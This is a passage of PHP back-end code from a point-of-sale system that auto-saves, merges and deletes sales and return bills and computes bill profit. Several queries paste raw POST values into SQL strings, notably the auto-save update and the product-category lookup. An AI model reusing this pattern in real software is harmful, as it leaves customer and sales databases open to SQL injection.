                    $sql = " update sellbill set " . $autoSaveBillMainPartArr["$itemid"] . " = '$itemval' where sellbillid=$tempSaveBillId";
                    $mySellbillEx->executeSQLQuery($sql);
                    //store change store in details too
                    if ($itemid == "storeid") {
                        $sql = " update sellbilldetail set storeid = $itemval where sellbillid=$tempSaveBillId";
                        $mySellbillEx->executeSQLQuery($sql);
                    }
                }
                break;
            case 'ret':
                if (empty($tempSaveBillId)) {
                    $sql = " insert into returnsellbill (returnsellbilldate,returnsellbillserial,returnsellbillclientid,returnsellbilldiscounttype,returnsellbillstoreid,returnsellbillsysdate,userid,conditions,returnsellbillsaveid,billnameid,autoSaveFlag,sellbillno) values ('$billDate','$billserial',$clientId,1,$storeid,'$sysdate',$userId,1,$saveid,$billnameId,1,$sellbillno)";
                    $tempSaveBillId = $mySellbillEx->executeInsertSQLQuery($sql);
                } else {
                    $autoSaveBillMainPartArr = array('tempclientName' => 'tempclientName', 'bn' => 'returnsellbilldate', 'supplier' => 'returnsellbillclientid', 'storeid' => 'returnsellbillstoreid', 'saveid' => 'returnsellbillsaveid', 'sellerid' => 'sellerid', 'comment' => 'comment', 'distype' => 'returnsellbilldiscounttype', 'gendis' => 'returnsellbilldiscount', 'extraDiscountPer' => 'extraDiscountPer', 'tax' => 'tax', 'taxOfDiscountVal' => 'taxOfDiscountVal', 'genpay' => 'returnsellbilltotalpayed', 'genpayvisa' => 'visaPayed', 'visaAccount' => 'visaAccountId', 'isBankAccountTransfer' => 'isBankAccountTransfer');
                    $sql = " update returnsellbill set " . $autoSaveBillMainPartArr["$itemid"] . " = '$itemval' where returnsellbillid=$tempSaveBillId";
                    $mySellbillEx->executeSQLQuery($sql);
                    //store change store in details too
                    if ($itemid == "storeid") {
                        $sql = " update returnsellbilldetail set storeid = $itemval where returnsellbillid=$tempSaveBillId";
                        $mySellbillEx->executeSQLQuery($sql);
                    }
                }
                break;
        }
    }
    echo $tempSaveBillId;
} elseif ($do == "changeproorder") {
    $orderold = (int) $_POST["orderid"];
    $tableId = (int) $_POST["tabid"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $restaurantOrderDetailsEX->changeorderid($order->id, $orderold);
    } else {
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = $maxDay + 1;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = '';
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
        $restaurantOrderDetailsEX->changeorderid($orderId, $orderold);
    }
} elseif ($do == "checkForOldBill") {
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $clientId = (int) filter_input(INPUT_POST, 'supplier');
    $userId = $_SESSION['userid'];

    if ($billnameId > 0) {
        $billsettingsData = loadBillProperty($billnameId);

        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
            $bill_is_txt = 'بيع و مردود';
            $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbillandrutern where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
            $tempSaveBillId = $sellbillid = (int) $result[0]->sellbillid;
            //
            $billData = $SellbillandruternEX->loadSellbillandruternById($sellbillid);
            $billDetailsDataSell = $mySellandruternbilldetailEx->queryWithSellBillIdAndSellType($sellbillid, 0);
            $billDetailsDataRet = $mySellandruternbilldetailEx->queryWithSellBillIdAndSellType($sellbillid, 1);
            $clientData = $myClientRecord->load($billData->sellbillclientid);
            $storeData = $myStoreRecord->load($billData->sellbillstoreid);
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
            $bill_is_txt = 'بيع ';
            $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbill where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
            $tempSaveBillId = $sellbillid = (int) $result[0]->sellbillid;
            $billData = $mySellbillRecord->load($sellbillid);
            $billDetailsDataSell = $mySellbilldetailEx->queryWithSellBillId($sellbillid);
            $i = 1;
            foreach ($billDetailsDataSell as $mydetales) {

                $parentId = $mydetales->sellbilldetailcatid;
                //names of product's parents
                $pathArr = getProductPath_recursive($parentId, $categories);

                //new product name with all path
                $mydetales->productName = $mydetales->productName . '/' . $pathArr;

                $myunitdata = $myProductunitEx->queryWithProductIdAndCondition($mydetales->sellbilldetailproductid);
                $smarty->assign("myunitdata" . $i, $myunitdata);
                // add sold quantity to available quantity of parcode
                $productNumber = (float) $mydetales->productnumber;
                $mydetales->don += $mydetales->sellbilldetailquantity * $productNumber;
                $i++;
            }
            $clientData = $myClientRecord->load($billData->sellbillclientid);

            $storeData = $myStoreRecord->load($billData->sellbillstoreid);
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
            $bill_is_txt = ' مردود';
            $result = $mySellbillEx->runSelectQuery("select returnsellbillid as sellbillid from returnsellbill where autoSaveFlag=1 and conditions=1 and returnsellbillclientid=$clientId and userid=$userId order by returnsellbillid desc limit 1");
            $tempSaveBillId = $returnsellbillid = (int) $result[0]->sellbillid;
            $billData = $myReturnsellbillRecord->load($returnsellbillid);
            //get  sell bill detales data
            $billDetailsDataRet = $myReturnsellbilldetailEx->queryWithReturnsellbillId($returnsellbillid);
            $i = 1;
            foreach ($billDetailsDataRet as $mydetales) {

                $parentId = $mydetales->returnsellbilldetailcatid;
                //names of product's parents
                $pathArr = getProductPath_recursive($parentId, $categories);

                //new product name with all path
                $mydetales->productName = $mydetales->productName . '/' . $pathArr;

                $myreunitdata = $myProductunitEx->queryWithProductIdAndCondition($mydetales->returnsellbilldetailproductid);
                //print_r($myreunitdata);
                //print_r("<br><br>");
                $smarty->assign("myreunitdata" . $i, $myreunitdata);
                $i++;
            }
            $clientData = $myClientRecord->load($billData->sellbillclientid);
            $storeData = $myStoreRecord->load($billData->returnsellbillstoreid);
        }
        $billData->sellbillclientname = $clientData->clientname;
        $billData->storeName = $storeData->storeName;
        $smarty->assign("bill_is", $bill_is);
        $smarty->assign("bill_is_txt", $bill_is_txt);
        $smarty->assign("billData", $billData);
        $smarty->assign("billDetailsDataSell", $billDetailsDataSell);
        $smarty->assign("billDetailsDataRet", $billDetailsDataRet);
        $smarty->assign("billsettingsData", $billsettingsData);
    }

    if ($tempSaveBillId > 0) {
        $smarty->display("sellbillview/showdetailLastAutoComplete.html");
    } else {
        echo -1;
    }
} elseif ($do == "autoSaveOldBillAction") {
    $oldBillType = filter_input(INPUT_POST, 'bill_is');
    $oldBillId = (int) filter_input(INPUT_POST, 'bill_is_id');
    $currentBillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $clientId = (int) filter_input(INPUT_POST, 'supplier');
    $action = (int) filter_input(INPUT_POST, 'autoSaveOldBillAction');
    $billToUseId = 0;
    if (!empty($oldBillType) && $oldBillId > 0 && $currentBillId > 0 && $clientId > 0 && $action > 0) {
        $billtable = '';
        $billColumn = '';
        $clientColumn = '';
        $detailTable = '';
        $detailColumn = '';
        switch ($oldBillType) {
            case 'sellAndRet':
                $billtable = 'sellbillandrutern';
                $billColumn = 'sellbillid';
                $clientColumn = 'sellbillclientid';
                $detailTable = 'sellandruternbilldetail';
                $detailColumn = 'sellbillid';
                break;
            case 'sell':
                $billtable = 'sellbill';
                $billColumn = 'sellbillid';
                $clientColumn = 'sellbillclientid';
                $detailTable = 'sellbilldetail';
                $detailColumn = 'sellbillid';
                break;
            case 'ret':
                $billtable = 'returnsellbill';
                $billColumn = 'returnsellbillid';
                $clientColumn = 'returnsellbillclientid';
                $detailTable = 'returnsellbilldetail';
                $detailColumn = 'returnsellbillid';
                break;

            default:
                return;
                break;
        }
        switch ($action) {
            case 1: //del old bill,use current bill
                $sql = "DELETE FROM $billtable WHERE $billColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $sql = "DELETE FROM $detailTable WHERE $detailColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                //
                $sql = "update $billtable set  $clientColumn = $clientId WHERE $billColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $billToUseId = $currentBillId;
                break;
            case 2: //del current bill,use old bill
                $sql = "DELETE FROM $billtable WHERE $billColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $sql = "DELETE FROM $detailTable WHERE $detailColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                //
                $sql = "update $billtable set  $clientColumn = $clientId WHERE $billColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $billToUseId = $oldBillId;
                break;
            case 3: //use products of both bill
                $sql = "DELETE FROM $billtable WHERE $billColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $sql = "update $detailTable set $detailColumn = $currentBillId where $detailColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                //
                $sql = "update $billtable set  $clientColumn = $clientId WHERE $billColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $billToUseId = $currentBillId;
                break;
        }
    }
    setcookie("clientId" . $_SESSION['userid'], $clientId, time() + 3600);
    echo $billToUseId;
} elseif ($do == "getProFirstUnitData") {
    $productId = $_POST['product'];
    $itr = $_POST['itr'];
    $sizeId = 0;
    $colorId = 0;
    //$sizeColorStoreDetailId = 0;
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
        $sizeId = $productIdComplex[1];
        $colorId = $productIdComplex[2];
        //$sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
    }
    $productunitData = $myProductunitEx->getfirstunittWithProductNumberEQ1_2($productId);
    $data = array('productunitid' => $productunitData->productunitid, 'unitName' => $productunitData->unitName, 'itr' => $itr);
    echo json_encode($data);
} elseif ($do == "autoSaveBillDetails") { //price type change details
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $tempSaveBillId = $sellbillId = $returnsellbillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $rowType = (int) filter_input(INPUT_POST, 'rowType'); //0 sell , 1 ret
    $distype = (int) filter_input(INPUT_POST, 'distype');
    $h = (int) filter_input(INPUT_POST, 'itr');
    $priceType = (int) filter_input(INPUT_POST, 'pricetype');
    $detailId = 0;
    if ($billnameId > 0 && $tempSaveBillId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
        }
        ## 2 start saving
        switch ($bill_is) {
            case 'sellAndRet':
                if ($rowType == 0) {
                    $detailId = (int) $_POST['tempSaveBillIdRow' . $h . ''];
                    $parcode = $_POST['parcode' . $h . ''];
                    $parcodeType = $_POST['parcodeType' . $h . ''];
                    $productserailId = $_POST['productserailid' . $h . ''];
                    $productId = $_POST['product' . $h . ''];
                    $sizeId = 0;
                    $colorId = 0;
                    $sizeColorStoreDetailId = 0;
                    if (strpos($productId, "hasSizeColor") !== false) {
                        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                        $productId = $productIdComplex[0];
                        $sizeId = $productIdComplex[1];
                        $colorId = $productIdComplex[2];
                        $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                    }
                    $productunitId = $_POST['productunit' . $h . ''];
                    $quantity = $_POST['pronum' . $h . ''];
                    $price = $_POST['proprice' . $h . ''];
                    $discountValue = $_POST['prodis' . $h . ''];
                    $discounttype = $_POST['discounttype' . $h . ''];
                    $totalPrice = $_POST['hidden_prototal' . $h . ''];
                    $comment = $_POST['comment' . $h . ''];
                    $prstorid = $_POST['prstorid' . $h . ''];
                    $scunitname = $_POST['scunitname' . $h . ''];
                    $pricetypepro = $_POST['pricetypepro' . $h . ''];
                    $proSerials = $_POST['proSerials' . $h . ''];

                    if (isset($prstorid) && $prstorid != -1 && $prstorid != '') {

                        $sellbillstoreId = $prstorid;
                    } else {
                        $sellbillstoreId = $_POST['storeid'];
                        //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                    }

                    if ($productunitId == "") {
                        $productunitId = 0;
                    }
                } elseif ($rowType == 1) {
                    $detailId = (int) $_POST['tempSaveBillIdRowRet' . $h . ''];
                    $parcode = $_POST['returnparcode' . $h . ''];
                    $parcodeType = $_POST['returnparcodeType' . $h . ''];
                    $productserailId = $_POST['returnproductserailid' . $h . ''];
                    $productId = $_POST['returnproduct' . $h . ''];
                    $sizeId = 0;
                    $colorId = 0;
                    $sizeColorStoreDetailId = 0;
                    if (strpos($productId, "hasSizeColor") !== false) {
                        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                        $productId = $productIdComplex[0];
                        $sizeId = $productIdComplex[1];
                        $colorId = $productIdComplex[2];
                        $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                    }
                    $productunitId = $_POST['returnproductunit' . $h . ''];
                    $quantity = $_POST['returnpronum' . $h . ''];
                    $price = $_POST['returnproprice' . $h . ''];
                    $discountValue = $_POST['returnprodis' . $h . ''];
                    $totalPrice = $_POST['returnhidden_prototal' . $h . ''];
                    $comment = $_POST['returncomment' . $h . ''];
                    $returndiscounttype = $_POST['returndiscounttype' . $h . ''];
                    $reprstorid = $_POST['reprstorid' . $h . ''];
                    $scunitname = $_POST['returnscunitname' . $h . ''];
                    $retpricetypepro = $_POST['retpricetypepro' . $h . ''];
                    $proSerials = $_POST['proSerialsRet' . $h . ''];

                    if (isset($reprstorid) && $reprstorid != -1 && $reprstorid != '') {

                        $sellbillstoreId = $reprstorid;
                    } else {
                        $sellbillstoreId = $_POST['storeid'];
                        //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                    }
                    if ($productunitId == "") {
                        $productunitId = 0;
                    }
                }

                if (isset($productId) && $productId != '-1' && $productId != "") {

                    $productData = loadProductById2($productId);
                    //
                    $productnumber = (float) $_POST['proNum' . $h];
                    if ($productnumber <= 0) {
                        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
                        $productnumber = $productunitData->productnumber;
                    }
                    $finalquantity = $quantity * $productnumber;
                    //

                    $mySellandruternbilldetail->discountvalue = $discountValue;
                    $mySellandruternbilldetail->note = $comment;
                    $mySellandruternbilldetail->parcode = $parcode;
                    $mySellandruternbilldetail->pricetype = $priceType;
                    $mySellandruternbilldetail->productunitid = $productunitId;
                    $mySellandruternbilldetail->sellbilldetailcatid = $productData->productCatId;
                    $mySellandruternbilldetail->sellbilldetaildate = date("Y-m-d H:i:s");
                    $mySellandruternbilldetail->sellbilldetailprice = $price;
                    $mySellandruternbilldetail->sellbilldetailproductid = $productId;
                    $mySellandruternbilldetail->sellbilldetailquantity = $quantity;
                    $mySellandruternbilldetail->sellbilldetailtotalprice = $totalPrice;
                    $mySellandruternbilldetail->sellbillid = $sellbillId;
                    $mySellandruternbilldetail->selltype = $rowType; //0; //مبيعات
                    $mySellandruternbilldetail->buydiscount = $productData->buydiscount;
                    $mySellandruternbilldetail->buydiscounttype = $productData->discounttype;
                    $mySellandruternbilldetail->storeid = $sellbillstoreId;
                    $mySellandruternbilldetail->discounttype = $discounttype;
                    $mySellandruternbilldetail->otherdetailquantity = $scunitname;
                    $mySellandruternbilldetail->sizeid = $sizeId;
                    $mySellandruternbilldetail->colorid = $colorId;
                    $mySellandruternbilldetail->pricetypepro = $pricetypepro;
                    $mySellandruternbilldetail->soldSerialsInDetails = $proSerials;

                    //  print_r($mySellandruternbilldetail);
                    if ($detailId > 0) {
                        $mySellandruternbilldetail->sellbilldetailid = $detailId;
                        $mySellandruternbilldetailRecord->update($mySellandruternbilldetail);
                    } else {
                        $detailId = $mySellandruternbilldetailRecord->insert($mySellandruternbilldetail);
                    }
                }
                break;
            case 'sell':
                $detailId = (int) $_POST['tempSaveBillIdRow' . $h . ''];
                $parcode = $_POST['parcode' . $h . ''];
                $parcodeType = $_POST['parcodeType' . $h . ''];
                $productserailId = $_POST['productserailid' . $h . ''];
                $productId = $_POST['product' . $h . ''];
                $sizeId = 0;
                $colorId = 0;
                $sizeColorStoreDetailId = 0;
                if (strpos($productId, "hasSizeColor") !== false) {
                    $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                    $productId = $productIdComplex[0];
                    $sizeId = $productIdComplex[1];
                    $colorId = $productIdComplex[2];
                    $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                }
                $productunitId = $_POST['productunit' . $h . ''];
                $quantity = $_POST['pronum' . $h . ''];
                $price = $_POST['proprice' . $h . ''];
                $discountValue = (float) $_POST['prodis' . $h . ''];
                $totalPrice = $_POST['hidden_prototal' . $h . ''];
                $comment = $_POST['comment' . $h . ''];
                $prstorid = $_POST['prstorid' . $h . ''];
                $discounttype = $_POST['discounttype' . $h . ''];
                $scunitname = $_POST['scunitname' . $h . ''];
                $pricetypepro = (int) $_POST['pricetypepro' . $h . ''];
                $playstationPlayId = (int) $_POST['playstationPlayId' . $h . ''];
                $proSerials = $_POST['proSerials' . $h . ''];

                if (isset($prstorid) && $prstorid != -1 && (int) $prstorid > 0) {

                    //print_r('in if prstorid'.$prstorid.'<br>');
                    $sellbillstoreId = $prstorid;
                } else {
                    $sellbillstoreId = $_POST['storeid'];
                    //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                }
                if ($productunitId == "") {
                    $productunitId = 0;
                }
                //print_r('the final'.$sellbillstoreId.'<br>');
                if (isset($productId) && $productId != '-1' && $productId != "") {
                    $productData = loadProductById2($productId);
                    //
                    $productnumber = (float) $_POST['proNum' . $h];
                    if ($productnumber <= 0) {
                        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
                        //print_r($productunitData);
                        $productnumber = $productunitData->productnumber;
                    }
                    $finalquantity = $quantity * $productnumber;


                    $mySellbilldetail->discountvalue = $discountValue;
                    $mySellbilldetail->note = $comment;
                    if ($Programsettingdata->sendBillToRestaurant == 1) {
                        $mySellbilldetail->note = $_POST['hiddenNotes' . $h];
                    }
                    $mySellbilldetail->parcode = $parcode;
                    $mySellbilldetail->pricetype = $priceType;
                    $mySellbilldetail->productunitid = $productunitId;
                    $mySellbilldetail->sellbilldetailcatid = $productData->productCatId;
                    $mySellbilldetail->sellbilldetaildate = date("Y-m-d H:i:s");
                    $mySellbilldetail->sellbilldetailprice = $price;
                    $mySellbilldetail->sellbilldetailproductid = $productId;
                    $mySellbilldetail->sellbilldetailquantity = $quantity;
                    $mySellbilldetail->sellbilldetailtotalprice = $totalPrice;
                    $mySellbilldetail->sellbillid = $sellbillId;
                    $mySellbilldetail->buydiscount = $productData->buydiscount;
                    $mySellbilldetail->buydiscounttype = $productData->discounttype;
                    $mySellbilldetail->storeid = $sellbillstoreId;
                    $mySellbilldetail->discounttype = $discounttype;
                    $mySellbilldetail->otherdetailquantity = $scunitname;
                    $mySellbilldetail->sizeid = $sizeId;
                    $mySellbilldetail->colorid = $colorId;
                    $mySellbilldetail->pricetypepro = $pricetypepro;
                    $mySellbilldetail->playstationPlayId = $playstationPlayId;
                    $mySellbilldetail->soldSerialsInDetails = $proSerials;

                    if ($detailId > 0) {
                        $mySellbilldetail->sellbilldetailid = $detailId;
                        $mySellbilldetailRecord->update($mySellbilldetail);
                    } else {
                        $detailId = $mySellbilldetailRecord->insert($mySellbilldetail);
                    }
                }
                break;
            case 'ret':
                $detailId = (int) $_POST['tempSaveBillIdRowRet' . $h . ''];
                $parcode = $_POST['returnparcode' . $h . ''];
                $parcodeType = $_POST['returnparcodeType' . $h . ''];
                $productserailId = $_POST['returnproductserailid' . $h . ''];
                $productId = (int) $_POST['returnproduct' . $h . ''];
                $sizeId = 0;
                $colorId = 0;
                $sizeColorStoreDetailId = 0;
                if (strpos($productId, "hasSizeColor") !== false) {
                    $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                    $productId = $productIdComplex[0];
                    $sizeId = $productIdComplex[1];
                    $colorId = $productIdComplex[2];
                    $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                }
                $productunitId = (int) $_POST['returnproductunit' . $h . ''];
                $quantity = $_POST['returnpronum' . $h . ''];
                $price = $_POST['returnproprice' . $h . ''];
                $discountValue = $_POST['returnprodis' . $h . ''];
                $totalPrice = $_POST['returnhidden_prototal' . $h . ''];
                $comment = $_POST['returncomment' . $h . ''];
                $returndiscounttype = $_POST['returndiscounttype' . $h . ''];
                $scunitname = $_POST['returnscunitname' . $h . ''];
                $retpricetypepro = $_POST['retpricetypepro' . $h . ''];
                $proSerials = $_POST['proSerialsRet' . $h . ''];

                $reprstorid = $_POST['reprstorid' . $h . ''];
                if (isset($reprstorid) && $reprstorid != -1 && $reprstorid != '') {

                    $sellbillstoreId = $reprstorid;
                } else {
                    $sellbillstoreId = $_POST['storeid'];
                    //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                }

                if (empty($productunitId) || $productunitId == -1) {
                    //$productunitId = 0;
                    $productunitId = getfirstunittWithProductNumberEQ1($productId);
                }

                if (isset($productId) && $productId != '-1' && $productId != "") {
                    $productData = loadProductById2($productId);
                    //                            $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
                    $myReturnsellbilldetail->buyprice = $productData->productBuyPrice;
                    $myReturnsellbilldetail->conditions = 0;
                    $myReturnsellbilldetail->discountvalue = $discountValue;
                    $myReturnsellbilldetail->note = $comment;
                    $myReturnsellbilldetail->parcode = $parcode;
                    $myReturnsellbilldetail->pricetype = $priceType;
                    $myReturnsellbilldetail->productunitid = $productunitId;
                    $myReturnsellbilldetail->returnsellbilldetailcatid = $productData->productCatId;
                    $myReturnsellbilldetail->returnsellbilldetailprice = $price;
                    $myReturnsellbilldetail->returnsellbilldetailproductid = $productId;
                    $myReturnsellbilldetail->returnsellbilldetailquantity = $quantity;
                    $myReturnsellbilldetail->returnsellbilldetailtotalprice = $totalPrice;
                    $myReturnsellbilldetail->returnsellbillid = $returnsellbillId;
                    $myReturnsellbilldetail->buydiscount = $productData->buydiscount;
                    $myReturnsellbilldetail->buydiscounttype = $productData->discounttype;
                    $myReturnsellbilldetail->storeid = $sellbillstoreId;
                    $myReturnsellbilldetail->discounttype = $returndiscounttype;
                    $myReturnsellbilldetail->otherdetailquantity = $scunitname;
                    $myReturnsellbilldetail->sizeid = $sizeId;
                    $myReturnsellbilldetail->colorid = $colorId;
                    $myReturnsellbilldetail->pricetypepro = $retpricetypepro;
                    $myReturnsellbilldetail->soldSerialsInDetails = $proSerials;


                    if ($detailId > 0) {
                        $myReturnsellbilldetail->returnsellbilldetailid = $detailId;
                        $myReturnsellbilldetailRecord->update($myReturnsellbilldetail);
                    } else {
                        $detailId = $myReturnsellbilldetailRecord->insert($myReturnsellbilldetail);
                    }
                }
                break;
        }
    }
    echo $detailId;
} elseif ($do == "autoDelBillRow") {
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $tempSaveBillId = $sellbillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $rowId = (int) filter_input(INPUT_POST, 'id');
    if ($billnameId > 0 && $tempSaveBillId > 0 && $rowId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
        }
        ##2
        switch ($bill_is) {
            case 'sellAndRet':
                $mySellandruternbilldetailRecord->delete($rowId);
                break;
            case 'sell':
                $mySellbilldetailRecord->delete($rowId);
                break;
            case 'ret':
                $myReturnsellbilldetailRecord->delete($rowId);
                break;
        }
    }
    echo 1;
}
##
elseif ($do == "getTemplateProducts") {
    $billnameId = (int) filter_input(INPUT_POST, "billnameid");
    $templateId = (int) filter_input(INPUT_POST, "template");
    $parcodesStr = '';
    if ($billnameId > 0 && $templateId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        if ($billHasSell->billsettingsvalue == 0) { //has sellpart
            $billTemplateDetails = $billTemplateDetailEX->queryByBillTemplateIdEXAndType($templateId, 0);
            foreach ($billTemplateDetails as $value) {
                //                for ($i = 0; $i < $value->quantity; $i++) {
                //                    $parcodesStr .= "$value->parcode\n";
                //                }
                $parcodesStr .= "$value->parcode.$value->quantity\n";
            }
        }
        if ($billHasReturn->billsettingsvalue == 0) { //has ret part
            $billTemplateDetails = $billTemplateDetailEX->queryByBillTemplateIdEXAndType($templateId, 1);
            foreach ($billTemplateDetails as $value) {
                //                for ($i = 0; $i < $value->quantity; $i++) {
                //                    $parcodesStr .= "$value->parcode\n";
                //                }
                $parcodesStr .= "$value->parcode.$value->quantity\n";
            }
        }
    }
    echo $parcodesStr;
}
##
elseif ($do == "billprofit") {
    $id = (int) $_POST['id'];

    $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
    if ($Usergroupdata->netprofit == 0) {
        $bill = R::getRow("select sellbillaftertotalbill from sellbill where sellbillid = $id");
        $costs = R::getRow("select sum(buyprice*sellbilldetailquantity*productnumber) as buyprice
                ,sum(lastbuyprice*sellbilldetailquantity*productnumber) as lastbuyprice
                ,sum(meanbuyprice*sellbilldetailquantity*productnumber) as meanbuyprice
                ,sum(lastbuyprice_withDiscount*sellbilldetailquantity*productnumber) as lastbuyprice_withDiscount
                ,sum(meanbuyprice_withDiscount*sellbilldetailquantity*productnumber) as meanbuyprice_withDiscount
                ,sum(lastbuyprice_withTax*sellbilldetailquantity*productnumber) as lastbuyprice_withTax
                ,sum(meanbuyprice_withTax*sellbilldetailquantity*productnumber) as meanbuyprice_withTax
            from sellbilldetail
            join productunit on productunit.productunitid =sellbilldetail.productunitid
            where sellbillid = $id
            group by sellbillid");

        if ($_SESSION['userid'] == -1) {
            $data = $costs;
        } else {
            switch ($Programsettingdata->Profitevaluation) {
                case "first":
                    $data = array('buyprice' => $costs['buyprice']);
                    break;
                case "last":
                    $data = array('lastbuyprice' => $costs['lastbuyprice']);
                    break;
                case "mean":
                    $data = array('meanbuyprice' => $costs['meanbuyprice']);
                    break;
                case "last_discount":
                    $data = array('lastbuyprice_withDiscount' => $costs['lastbuyprice_withDiscount']);
                    break;
                case "mean_discount":
                    $data = array('meanbuyprice_withDiscount' => $costs['meanbuyprice_withDiscount']);
                    break;
                case "generalPrice":
                    $data = array('generalPrice' => $costs['generalPrice']);
                    break;
                case "tax":
                    $data = array('generalPrice' => $costs['lastbuyprice_withTax']);
                    break;
                case "mean_tax":
                    $data = array('generalPrice' => $costs['meanbuyprice_withTax']);
                    break;
            }
        }
        echo json_encode(array('u' => $_SESSION['userid'], 'totalbill' => $bill['sellbillaftertotalbill'], 'cost' => $data));
    } else {
        echo -1;
    }
} elseif ($do == "getProductCatId") {
    $productId = filter_input(INPUT_POST, 'productId');
    $catId = 0;
    $catId = R::getCell('select productCatId from product where productId = ' . $productId);

    echo $catId;
} elseif ($do == "checkStoreDetail") {
    $products_info_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");

